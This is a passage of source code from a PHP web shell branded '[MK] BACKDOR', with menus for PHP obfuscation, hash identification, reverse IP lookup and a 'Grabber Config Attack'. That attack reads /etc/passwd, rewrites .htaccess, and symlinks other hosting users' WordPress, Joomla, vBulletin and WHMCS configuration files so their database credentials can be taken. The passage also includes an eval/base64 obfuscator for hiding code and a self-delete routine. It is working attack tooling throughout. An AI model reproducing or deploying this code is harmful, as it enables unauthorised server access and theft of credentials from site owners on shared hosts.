3790 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
3791 | $SERVERIP1 = "SERVER IP :"; | |
3792 | echo ''. $SERVERIP1 .'' ; | |
3793 | $SPAN2 = "<span style='color:#FFFFFF;'>"; | |
3794 | $SPAN3 = "</span>"; | |
3795 | echo ''. $SPAN2 .'' ; | |
3796 | echo $SERVERIP = gethostbyname($_SERVER["HTTP_HOST"]); echo ''. $SPAN3 .'' ; | |
3797 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
3798 | $CLIENTIP1 = "CLIENT IP :"; echo ''. $CLIENTIP1 .''; | |
3799 | echo ''. $SPAN2 .'' ; echo $_SERVER['REMOTE_ADDR']; | |
3800 | echo ''. $SPAN3 .'</button><button class="MK-Bouton">'; | |
3801 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
3802 | $HOSTOWNED1 = "HOST OWNED :"; | |
3803 | echo ''. $HOSTOWNED1 .'' ; | |
3804 | echo ''. $SPAN2 .'' ; echo $_SERVER['SERVER_NAME'] ; echo ''. $SPAN3 .'</button> '; | |
3805 | $REPORTERROR = "| ALL RIGHT RESERVED™ |"; | |
3806 | echo ''. $REPORTERROR .'</a></span></footer>'; | |
3807 | echo ''. $THEEND .'' ; | |
3808 | exit;} | |
3809 | if ($_GET['Mister'] == 'obfuscate') { | |
3810 | echo '<br><center><nav class="social"><ul> | |
3811 | <li><a href="?Mister=string">Encoder</a></li> | |
3812 | <li><a href="?Mister=Base64Cry">Base64 Decrypt V2.0</a></li> | |
3813 | <li><a href="?Mister=obfuscate">Php Obfuscate</a></li> | |
3814 | <li><a href="?Mister=HashId">Hash Identification</a></li> | |
3815 | </ul></nav></center> | |
3816 | ';?> | |
3817 | <nav class='Mister-nav'><center><span style='font-size:18px; color:#0000F0'>PHP OBFUSCATE</span></nav><br><div class=content><center><span style='font-size:10px;color:white'>TYPE CODE PHP</span><center> | |
3818 | <?php | |
3819 | if ( isset($_POST['code']) && | |
3820 | $_POST['code'] != '') | |
3821 | { | |
3822 | $encoded = base64_encode(gzdeflate(trim(stripslashes($_POST['code'].' '),'<?php,?>'),9)); // high Compression! :P | |
3823 | $encode = ' | |
3824 | <?php | |
3825 | $encoded = \''.$encoded.'\'; | |
3826 | eval(gzinflate(base64_decode($encoded))); | |
3827 | ///// SCRIPT ENCODED BY [MK] BACKDOR | |
3828 | ///// CODED BY MISTER KLIO TWITTER @MCAZEDIINE | |
3829 | ?> | |
3830 | '; | |
3831 | } | |
3832 | else | |
3833 | { | |
3834 | $encode = 'PLEASE ENTER YOUR CODE! AND CLICK SUBMIT! :)'; | |
3835 | } | |
3836 | ?> | |
3837 | <center><form method="POST" style="width:80%;"> | |
3838 | <textarea cols="100" rows="20" name="code"><?php echo $encode;?></textarea><br /> | |
3839 | <input class="Mister-button" type="submit" value="ENCODER"/> | |
3840 | </form></center> | |
3841 | <?php | |
3842 | $FOTTER2 = "<footer class='MK-footer'>"; | |
3843 | echo ''. $FOTTER2 .'' ; | |
3844 | $COPYRIGHT1 = base64_decode("Q09QWVJJR0hUIMKpIDxhIGhyZWY9Jz9NaXN0ZXI9QWJvdXRzJz4gMjAxNSA8L2E+IHw="); | |
3845 | echo ''. $COPYRIGHT1 .'<button class="MK-Bouton">' ; | |
3846 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
3847 | $SERVERIP1 = "SERVER IP :"; | |
3848 | echo ''. $SERVERIP1 .'' ; | |
3849 | $SPAN2 = "<span style='color:#FFFFFF;'>"; | |
3850 | $SPAN3 = "</span>"; | |
3851 | echo ''. $SPAN2 .'' ; | |
3852 | echo $SERVERIP = gethostbyname($_SERVER["HTTP_HOST"]); echo ''. $SPAN3 .'' ; | |
3853 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
3854 | $CLIENTIP1 = "CLIENT IP :"; echo ''. $CLIENTIP1 .''; | |
3855 | echo ''. $SPAN2 .'' ; echo $_SERVER['REMOTE_ADDR']; | |
3856 | echo ''. $SPAN3 .'</button><button class="MK-Bouton">'; | |
3857 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
3858 | $HOSTOWNED1 = "HOST OWNED :"; | |
3859 | echo ''. $HOSTOWNED1 .'' ; | |
3860 | echo ''. $SPAN2 .'' ; echo $_SERVER['SERVER_NAME'] ; echo ''. $SPAN3 .'</button> '; | |
3861 | $REPORTERROR = "| ALL RIGHT RESERVED™ |"; | |
3862 | echo ''. $REPORTERROR .'</a></span></footer>'; | |
3863 | echo ''. $THEEND .'' ; | |
3864 | exit;} | |
3865 | if ($_GET['Mister'] == 'HashId') { | |
3866 | echo '<br><center><nav class="social"><ul> | |
3867 | <li><a href="?Mister=string">Encoder</a></li> | |
3868 | <li><a href="?Mister=Base64Cry">Base64 Decrypt V2.0</a></li> | |
3869 | <li><a href="?Mister=obfuscate">Php Obfuscate</a></li> | |
3870 | <li><a href="?Mister=HashId">Hash Identification</a></li> | |
3871 | </ul></nav></center> | |
3872 | '; | |
3873 | echo "<br><nav class='Mister-nav'><center><span style='font-size:18px;color:#0000F0;'>HASH IDENTIFICATION</span></nav><center>"; | |
3874 | if(isset($_POST['gethash'])){ | |
3875 | $hash = $_POST['hash']; | |
3876 | if(strlen($hash)==32){ | |
3877 | $hashresult = "MD5 Hash"; | |
3878 | }elseif(strlen($hash)==40){ | |
3879 | $hashresult = "SHA-1 Hash/ /MySQL5 Hash"; | |
3880 | }elseif(strlen($hash)==13){ | |
3881 | $hashresult = "DES(Unix) Hash"; | |
3882 | }elseif(strlen($hash)==16){ | |
3883 | $hashresult = "MySQL Hash / /DES(Oracle Hash)"; | |
3884 | }elseif(strlen($hash)==41){ | |
3885 | $GetHashChar = substr($hash, 40); | |
3886 | if($GetHashChar == "*"){ | |
3887 | $hashresult = "MySQL5 Hash"; | |
3888 | } | |
3889 | }elseif(strlen($hash)==64){ | |
3890 | $hashresult = "SHA-256 Hash"; | |
3891 | }elseif(strlen($hash)==96){ | |
3892 | $hashresult = "SHA-384 Hash"; | |
3893 | }elseif(strlen($hash)==128){ | |
3894 | $hashresult = "SHA-512 Hash"; | |
3895 | }elseif(strlen($hash)==34){ | |
3896 | if(strstr($hash, '$1$')){ | |
3897 | $hashresult = "MD5(Unix) Hash"; | |
3898 | } | |
3899 | }elseif(strlen($hash)==37){ | |
3900 | if(strstr($hash, '$apr1$')){ | |
3901 | $hashresult = "MD5(APR) Hash"; | |
3902 | } | |
3903 | }elseif(strlen($hash)==34){ | |
3904 | if(strstr($hash, '$H$')){ | |
3905 | $hashresult = "MD5(phpBB3) Hash"; | |
3906 | } | |
3907 | }elseif(strlen($hash)==34){ | |
3908 | if(strstr($hash, '$P$')){ | |
3909 | $hashresult = "MD5(Wordpress) Hash"; | |
3910 | } | |
3911 | }elseif(strlen($hash)==39){ | |
3912 | if(strstr($hash, '$5$')){ | |
3913 | $hashresult = "SHA-256(Unix) Hash"; | |
3914 | } | |
3915 | }elseif(strlen($hash)==39){ | |
3916 | if(strstr($hash, '$6$')){ | |
3917 | $hashresult = "SHA-512(Unix) Hash"; | |
3918 | } | |
3919 | }elseif(strlen($hash)==24){ | |
3920 | if(strstr($hash, '==')){ | |
3921 | $hashresult = "MD5(Base-64) Hash"; | |
3922 | } | |
3923 | }else{ | |
3924 | $hashresult = "HASH TYPE NOT FOUND"; | |
3925 | } | |
3926 | }else{ | |
3927 | $hashresult = "<span style='color:red;'> NOT HASH ENTERED </span>"; | |
3928 | } | |
3929 | ?> | |
3930 | <center> | |
3931 | <form action="" method="POST"><br><div class='content'> | |
3932 | <span style='color:#FFFFFF;'> ENTER UR HASH </span> : <br><td><input type="text" name="hash" size='60' style="width:40%;"/></td> | |
3933 | <br><br><input type="submit" class="Mister-button" name="gethash" value="Identify Hash" ><br><br> | |
3934 | <span style='color:#FFFFFF;'> RESULT</span> : <span style='color:#0000F0;'><?php echo $hashresult; ?></span><br><br> | |
3935 | </table></form> | |
3936 | </center> | |
3937 | <?php | |
3938 | $FOTTER2 = "<footer class='MK-footer'>"; | |
3939 | echo ''. $FOTTER2 .'' ; | |
3940 | $COPYRIGHT1 = base64_decode("Q09QWVJJR0hUIMKpIDxhIGhyZWY9Jz9NaXN0ZXI9QWJvdXRzJz4gMjAxNSA8L2E+IHw="); | |
3941 | echo ''. $COPYRIGHT1 .'<button class="MK-Bouton">' ; | |
3942 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
3943 | $SERVERIP1 = "SERVER IP :"; | |
3944 | echo ''. $SERVERIP1 .'' ; | |
3945 | $SPAN2 = "<span style='color:#FFFFFF;'>"; | |
3946 | $SPAN3 = "</span>"; | |
3947 | echo ''. $SPAN2 .'' ; | |
3948 | echo $SERVERIP = gethostbyname($_SERVER["HTTP_HOST"]); echo ''. $SPAN3 .'' ; | |
3949 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
3950 | $CLIENTIP1 = "CLIENT IP :"; echo ''. $CLIENTIP1 .''; | |
3951 | echo ''. $SPAN2 .'' ; echo $_SERVER['REMOTE_ADDR']; | |
3952 | echo ''. $SPAN3 .'</button><button class="MK-Bouton">'; | |
3953 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
3954 | $HOSTOWNED1 = "HOST OWNED :"; | |
3955 | echo ''. $HOSTOWNED1 .'' ; | |
3956 | echo ''. $SPAN2 .'' ; echo $_SERVER['SERVER_NAME'] ; echo ''. $SPAN3 .'</button> '; | |
3957 | $REPORTERROR = "| ALL RIGHT RESERVED™ |"; | |
3958 | echo ''. $REPORTERROR .'</a></span></footer>'; | |
3959 | echo ''. $THEEND .'' ; | |
3960 | exit;} | |
3961 | ||
3962 | //////////// IP LOOKUP | |
3963 | if ($_GET["Mister"] == "iplookdom"){ | |
3964 | echo "<br><center><nav class='social'><ul> | |
3965 | <li><a href='?Mister=FinderAdmin'>Finder Administer Panel V1.0</a></li> | |
3966 | <li><a href='?Mister=Domains'>Get All Domains</a></li> | |
3967 | <li><a href='?Mister=Finder'>Finder Database Panel</a></li> | |
3968 | <li><a href='?Mister=Getip'>Get Ip 2 Domains </a></li> | |
3969 | <li><a href='?Mister=subdomain'>Subdomain Checker</a></li> | |
3970 | <li><a href='?Mister=iplookdom'>Ip Lookup Reverse</a></li> | |
3971 | <li><a href='?Mister=Rev'>Mass Read Config </a></li> | |
3972 | <li><a href='?Mister=Grabber'>Grabber Config Attack</a></li> | |
3973 | <li><a href='?Mister=J-Scann3r'>Joomla Serv3r Scann3r</a></li> | |
3974 | <li><a href='?Mister=whois'>Website Whois</a></li> | |
3975 | </ul></nav></center>"; | |
3976 | echo "<nav class='Mister-nav'><center><span style='font-size:18px; color:#0000F0'>IP LOOKUP REVERSE</span></nav><br><div class=content> | |
3977 | <center>"; | |
3978 | ?> | |
3979 | <center><br><form><input type='text' size='60' value='<?php echo "".$_SERVER['HTTP_HOST']."";?>' name='Mister' style='width:40%' class='input'/><input type='hidden' name='Mister' value='iplookdom'><br><br><input type='submit' value='CHECK IT' class='Mister-button'></form></center> | |
3980 | <?php | |
3981 | if(isset($_GET["Mister"])) | |
3982 | { | |
3983 | $site = $_GET["Mister"]; | |
3984 | $Mister = "http://domains.yougetsignal.com/domains.php"; | |
3985 | ||
3986 | //Curl Function | |
3987 | $ch = curl_init($Mister); | |
3988 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 ); | |
3989 | curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$site&ket="); | |
3990 | curl_setopt($ch, CURLOPT_HEADER, 0); | |
3991 | curl_setopt($ch, CURLOPT_POST, 1); | |
3992 | $resp = curl_exec($ch); | |
3993 | $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) )))); | |
3994 | $array = explode(",,", $resp); | |
3995 | unset($array[0]); | |
3996 | echo "<table style='margin: 0 auto'>"; | |
3997 | foreach($array as $lnk) | |
3998 | { | |
3999 | print "<tr><td><a style=\"color:#0000F0;font-weight:bold;\" href='$lnk' target=_blank>$lnk</a></td></tr>"; | |
4000 | } | |
4001 | echo "</table>"; | |
4002 | curl_close($ch); | |
4003 | } | |
4004 | $FOTTER2 = "<footer class='MK-footer'>"; | |
4005 | echo ''. $FOTTER2 .'' ; | |
4006 | $COPYRIGHT1 = base64_decode("Q09QWVJJR0hUIMKpIDxhIGhyZWY9Jz9NaXN0ZXI9QWJvdXRzJz4gMjAxNSA8L2E+IHw="); | |
4007 | echo ''. $COPYRIGHT1 .'<button class="MK-Bouton">' ; | |
4008 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
4009 | $SERVERIP1 = "SERVER IP :"; | |
4010 | echo ''. $SERVERIP1 .'' ; | |
4011 | $SPAN2 = "<span style='color:#FFFFFF;'>"; | |
4012 | $SPAN3 = "</span>"; | |
4013 | echo ''. $SPAN2 .'' ; | |
4014 | echo $SERVERIP = gethostbyname($_SERVER["HTTP_HOST"]); echo ''. $SPAN3 .'' ; | |
4015 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
4016 | $CLIENTIP1 = "CLIENT IP :"; echo ''. $CLIENTIP1 .''; | |
4017 | echo ''. $SPAN2 .'' ; echo $_SERVER['REMOTE_ADDR']; | |
4018 | echo ''. $SPAN3 .'</button><button class="MK-Bouton">'; | |
4019 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
4020 | $HOSTOWNED1 = "HOST OWNED :"; | |
4021 | echo ''. $HOSTOWNED1 .'' ; | |
4022 | echo ''. $SPAN2 .'' ; echo $_SERVER['SERVER_NAME'] ; echo ''. $SPAN3 .'</button> '; | |
4023 | $REPORTERROR = "| ALL RIGHT RESERVED™ |"; | |
4024 | echo ''. $REPORTERROR .'</a></span></footer>'; | |
4025 | echo ''. $THEEND .'' ; | |
4026 | exit ; | |
4027 | } | |
4028 | //////// | |
4029 | if ($_GET['Mister'] == 'Grabber') { | |
4030 | echo "<br><center><nav class='social'><ul> | |
4031 | <li><a href='?Mister=FinderAdmin'>Finder Administer Panel V1.0</a></li> | |
4032 | <li><a href='?Mister=Domains'>Get All Domains</a></li> | |
4033 | <li><a href='?Mister=Finder'>Finder Database Panel</a></li> | |
4034 | <li><a href='?Mister=Getip'>Get Ip 2 Domains </a></li> | |
4035 | <li><a href='?Mister=subdomain'>Subdomain Checker</a></li> | |
4036 | <li><a href='?Mister=iplookdom'>Ip Lookup Reverse</a></li> | |
4037 | <li><a href='?Mister=Rev'>Mass Read Config </a></li> | |
4038 | <li><a href='?Mister=Grabber'>Grabber Config Attack</a></li> | |
4039 | <li><a href='?Mister=J-Scann3r'>Joomla Serv3r Scann3r</a></li> | |
4040 | <li><a href='?Mister=whois'>Website Whois</a></li> | |
4041 | </ul></nav></center>"; | |
4042 | echo "<nav class='Mister-nav'> | |
4043 | <center><span style='font-size:18px; color:#0000F0'>ATTACK CONFIG GRABBER | |
4044 | </span></nav><br><div class=content><center>"; | |
4045 | ?><center><?php if (empty($_POST['config'])) { ?><p><font face="Tahoma" color="white" size="2pt">/ETC/PASSWD GET</p><form method="POST" style="width:40%"><textarea name="passwd" rows='15' cols='60' class='input' style="height:200px;"><?php echo file_get_contents('/etc/passwd'); ?></textarea><br><br><input name="config" size="100" value="DONE !" type="submit" class="Mister-button"><br></form></center><br><?php }if ($_POST['config']) {$function = $functions=@ini_get("disable_functions");if(eregi("symlink",$functions)){die ('<error> SYMLINK IS DISABLED :( </error>');}@mkDIR('MKConfig', 0755);@chDIR('MKConfig'); | |
4046 | $htaccess=" | |
4047 | OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI | |
4048 | Options Indexes FollowSymLinks | |
4049 | ForceType text/plain | |
4050 | AddType text/plain .php | |
4051 | AddType text/plain .html | |
4052 | AddType text/html .shtml | |
4053 | AddType txt .php | |
4054 | AddHandler server-parsed .php | |
4055 | AddHandler txt .php | |
4056 | AddHandler txt .html | |
4057 | AddHandler txt .shtml | |
4058 | Options All | |
4059 | Options All"; | |
4060 | file_put_contents(".htaccess",$htaccess,FILE_APPEND);$passwd=$_POST["passwd"];$passwd=explode("\n",$passwd);echo "<br><br><center><span style='font-size:10px; color:#0000F0'>WAIT ...</span></center><br>";foreach($passwd as $pwd){$pawd=explode(":",$pwd);$user =$pawd[0];@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');@symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');@symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');@symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');@symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');@symlink('/home/'.$user.'/public_html/config.php',$user.'-configgg.txt');@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');@symlink('/home/'.$user.'/public_html/db.php',$user.'-dbconf.txt');@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');@symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-wp-test.txt');@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');@symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-joomla-protal.txt');@symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');@symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');@symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');@symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');@symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');@symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');@symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');@symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');}echo '<span style="font-size:10px; color:#0000F0"> DONE ! </span><a target="_blank" href="MKConfig">OPEN CONFIGS</a></span>';} | |
4061 | $FOTTER2 = "<footer class='MK-footer'>"; | |
4062 | echo ''. $FOTTER2 .'' ; | |
4063 | $COPYRIGHT1 = base64_decode("Q09QWVJJR0hUIMKpIDxhIGhyZWY9Jz9NaXN0ZXI9QWJvdXRzJz4gMjAxNSA8L2E+IHw="); | |
4064 | echo ''. $COPYRIGHT1 .'<button class="MK-Bouton">' ; | |
4065 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
4066 | $SERVERIP1 = "SERVER IP :"; | |
4067 | echo ''. $SERVERIP1 .'' ; | |
4068 | $SPAN2 = "<span style='color:#FFFFFF;'>"; | |
4069 | $SPAN3 = "</span>"; | |
4070 | echo ''. $SPAN2 .'' ; | |
4071 | echo $SERVERIP = gethostbyname($_SERVER["HTTP_HOST"]); echo ''. $SPAN3 .'' ; | |
4072 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
4073 | $CLIENTIP1 = "CLIENT IP :"; echo ''. $CLIENTIP1 .''; | |
4074 | echo ''. $SPAN2 .'' ; echo $_SERVER['REMOTE_ADDR']; | |
4075 | echo ''. $SPAN3 .'</button><button class="MK-Bouton">'; | |
4076 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
4077 | $HOSTOWNED1 = "HOST OWNED :"; | |
4078 | echo ''. $HOSTOWNED1 .'' ; | |
4079 | echo ''. $SPAN2 .'' ; echo $_SERVER['SERVER_NAME'] ; echo ''. $SPAN3 .'</button> '; | |
4080 | $REPORTERROR = "| ALL RIGHT RESERVED™ |"; | |
4081 | echo ''. $REPORTERROR .'</a></span></footer>'; | |
4082 | echo ''. $THEEND .'' ; | |
4083 | exit ; } | |
4084 | ///// REMOVE SHELL | |
4085 | if ($_GET['Mister'] == 'kil') { | |
4086 | $FILE = $_SERVER['PHP_SELF']; | |
4087 | if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) | |
4088 | header(' REFRESH: 0; '.$_SERVER['PHP_SELF'].''); } } | |
4089 | function DIRMISTER_K ($DIR) {} | |
4090 | HIDMISTER_K (); { MISTERMISTER_K ();} | |
4091 | ////// FILES | |
4092 | if ($_GET['Mister'] == 'FILES'){ | |
4093 | function getlist ($DIRECTORY) { | |
4094 | global $delim, $WIN; | |
4095 | if ($d = @OPENDIR($DIRECTORY)) { | |
4096 | while (($FILENAME = @READDIR($d)) !== false) { | |
4097 | $path = $DIRECTORY . $FILENAME; | |
4098 | if ($stat = @lstat($path)) { | |
4099 | $FILE = array( | |
4100 | 'FILENAME' => $FILENAME, | |
4101 | 'path' => $path, | |
4102 | 'IS_FILE' => @IS_FILE($path), | |
4103 | 'IS_DIR' => @IS_DIR($path), | |
4104 | 'IS_LINK' => @IS_LINK($path), | |
4105 | 'IS_READABLE' => @IS_READABLE($path), | |
4106 | 'IS_WRITABLE' => @IS_WRITABLE($path), | |
4107 | 'size' => $stat['size'], | |
4108 | 'MTIME' => @fileMTIME($path), | |
4109 | 'ATIME' => @FILEATIME($path), | |
4110 | 'CTIME' => @FILECTIME($path)); | |
4111 | if ($FILE['IS_DIR']) { | |
4112 | $FILE['IS_EXECUTABLE'] = @FILE_EXISTS($path . $delim . '.'); | |
4113 | } else { | |
4114 | if (!$WIN) { | |
4115 | $FILE['IS_EXECUTABLE'] = @IS_EXECUTABLE($path); | |
4116 | } else { | |
4117 | $FILE['IS_EXECUTABLE'] = true;}} | |
4118 | if ($FILE['IS_LINK']) $FILE['target'] = @readlink($path); | |
4119 | if (function_exists('posix_getpwuid')) $FILE['owner_name'] = @RESET(posix_getpwuid($FILE['owner'])); | |
4120 | if (function_exists('posix_getgrgid')) $FILE['group_name'] = @RESET(posix_getgrgid($FILE['group'])); | |
4121 | $FILES[] = $FILE;}} | |
4122 | return $FILES;} else { | |
4123 | return false;}} | |
4124 | function sortlist (&$list, $key, $REVERSE) { | |
4125 | quicksort($list, 0, sizeof($list) - 1, $key); | |
4126 | if ($REVERSE) $list = array_reverse($list);} | |
4127 | function quicksort (&$array, $first, $last, $key) { | |
4128 | if ($first < $last) { | |
4129 | $cmp = $array[floor(($first + $last) / 2)][$key]; | |
4130 | $l = $first; | |
4131 | $r = $last; | |
4132 | while ($l <= $r) { | |
4133 | while ($array[$l][$key] < $cmp) $l++; | |
4134 | while ($array[$r][$key] > $cmp) $r--; | |
4135 | if ($l <= $r) { | |
4136 | $tmp = $array[$l]; | |
4137 | $array[$l] = $array[$r]; | |
4138 | $array[$r] = $tmp; | |
4139 | $l++; | |
4140 | $r--;}} | |
4141 | quicksort($array, $first, $r, $key); | |
4142 | quicksort($array, $l, $last, $key);}} | |
4143 | //////// EXTENSION | |
4144 | //// NUL : function is_script ($FILENAME) { | |
4145 | //// NUL : return ereg('\.php$|\.html$|\.py$|\.pl$|\.js$|\.css$|\.ini$|\.php.xjpg$|\.php.leet$|\.xml$', $FILENAME);} | |
4146 | //////// EXTENSION 2 | |
4147 | function getmimetype ($FILENAME) { | |
4148 | static $mimes = array( | |
4149 | '\.jpg$|\.jpeg$' => 'image/jpeg', | |
4150 | '\.gif$' => 'image/gif', | |
4151 | '\.png$' => 'image/png', | |
4152 | '\.php$' => 'text/php', | |
4153 | '\.php.xjpg$' => 'image/php.xjpg', | |
4154 | '\.php.xjpg$' => 'application/php.xjpg', | |
4155 | '\.php.xjpg$' => 'text/php.xjpg', | |
4156 | '\.html$' => 'text/html', | |
4157 | '\.txt$|\.asc$' => 'text/plain', | |
4158 | '\.xml$|\.xsl$' => 'application/xml', | |
4159 | '\.pdf$' => 'application/pdf', | |
4160 | '\.pphp$' => 'application/pphp', | |
4161 | '\.php$' => 'application/php', | |
4162 | '\.icon$' => 'application/icon', | |
4163 | '\.leet$' => 'application/leet', | |
4164 | '\.py$' => 'application/py', | |
4165 | '\.pl$' => 'application/pl', | |
4166 | '\.exe$' => 'application/exe',); | |
4167 | ///// FUNCTIONS FILE MANAGER | |
4168 | foreach ($mimes as $regex => $mime) { | |
4169 | if (eregi($regex, $FILENAME)) return $mime;} | |
4170 | return 'text/plain';} | |
4171 | function del ($FILE) { | |
4172 | global $delim; | |
4173 | if (!@IS_LINK($FILE) && !FILE_EXISTS($FILE)) return false; | |
4174 | if (!@IS_LINK($FILE) && @IS_DIR($FILE)) { | |
4175 | if ($DIR = @OPENDIR($FILE)) { | |
4176 | $error = false; | |
4177 | while (($f = READDIR($DIR)) !== false) { | |
4178 | if ($f != '.' && $f != '..' && !del($FILE . $delim . $f)) { | |
4179 | $error = true;}} | |
4180 | closeDIR($DIR); | |
4181 | if (!$error) return @rmDIR($FILE); | |
4182 | return !$error; | |
4183 | } else { return false;} | |
4184 | } else { return @unlink($FILE);}} | |
4185 | function addslash ($DIRECTORY) { | |
4186 | global $delim; | |
4187 | if (substr($DIRECTORY, -1, 1) != $delim) { | |
4188 | return $DIRECTORY . $delim; | |
4189 | } else { return $DIRECTORY;}} | |
4190 | function RELATIVE2ABSOLUTE ($string, $DIRECTORY) { | |
4191 | if (path_is_relative($string)) { | |
4192 | return simplify_path(addslash($DIRECTORY) . $string); | |
4193 | } else { return simplify_path($string);}} | |
4194 | function path_is_relative ($path) { | |
4195 | global $WIN; | |
4196 | if ($WIN) { return (substr($path, 1, 1) != ':'); } else { | |
4197 | return (substr($path, 0, 1) != '/');}} | |
4198 | function absolute2relative ($DIRECTORY, $target) { | |
4199 | global $delim; | |
4200 | $path = ''; | |
4201 | while ($DIRECTORY != $target) { | |
4202 | if ($DIRECTORY == substr($target, 0, strlen($DIRECTORY))) { | |
4203 | $path .= substr($target, strlen($DIRECTORY)); | |
4204 | break; | |
4205 | } else { | |
4206 | $path .= '..' . $delim; | |
4207 | $DIRECTORY = substr($DIRECTORY, 0, strrpos(substr($DIRECTORY, 0, -1), $delim) + 1);}} | |
4208 | if ($path == '') $path = '.'; | |
4209 | return $path;} | |
4210 | function simplify_path ($path) { | |
4211 | global $delim; | |
4212 | if (@FILE_EXISTS($path) && function_exists('realpath') && @realpath($path) != '') { | |
4213 | $path = realpath($path); | |
4214 | if (@IS_DIR($path)) { | |
4215 | return addslash($path); | |
4216 | } else { | |
4217 | return $path;}} | |
4218 | $pattern = $delim . '.' . $delim; | |
4219 | if (@IS_DIR($path)) { | |
4220 | $path = addslash($path);} | |
4221 | while (strpos($path, $pattern) !== false) { | |
4222 | $path = str_replace($pattern, $delim, $path);} | |
4223 | $e = addslashes($delim); | |
4224 | $regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e; | |
4225 | while (ereg($regex, $path)) { | |
